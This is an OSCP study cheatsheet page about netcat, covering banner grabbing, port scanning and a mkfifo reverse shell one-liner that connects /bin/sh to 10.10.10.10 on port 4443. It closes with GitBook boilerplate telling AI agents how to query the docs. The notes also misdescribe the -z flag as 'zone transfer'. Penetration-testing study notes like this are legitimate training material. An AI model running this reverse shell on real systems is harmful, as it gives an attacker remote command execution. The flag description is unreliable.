> For the complete documentation index, see [llms.txt](https://gabb4r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gabb4r.gitbook.io/oscp-notes/cheatsheet/netcat.md).

# Netcat

* TCP/IP Swiss Army Knife - we will use this tool alot
* Can scan ports but can also be used for:
  * chatting between two computers
  * banner grabbing
  * file transfer
  * for shell
* Traffic is not encrypted ( unless you use **ncat**)

## Banner Grabbing

```
nc -v google.com 80
```

it will connect nc to google server if port 80 is open and then we can query it manually for example

![](/files/-MkmHXqYrcINKpcJd7AD)

after connecting , we can use http parameters like **GET, HEAD, OPTIONS etc** to send the request and server will return the response

## Netcat without -e flag

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f
```

## Port Scanning

```
 nc -nv -w 1 -z 192.168.1.1 1-1024
 
-nv = doesn't resolve dns
-w 1 = sets timeout to 1 second
-z = specifies zone transfer
-u = UDP mode (can be unreliable)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gabb4r.gitbook.io/oscp-notes/cheatsheet/netcat.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
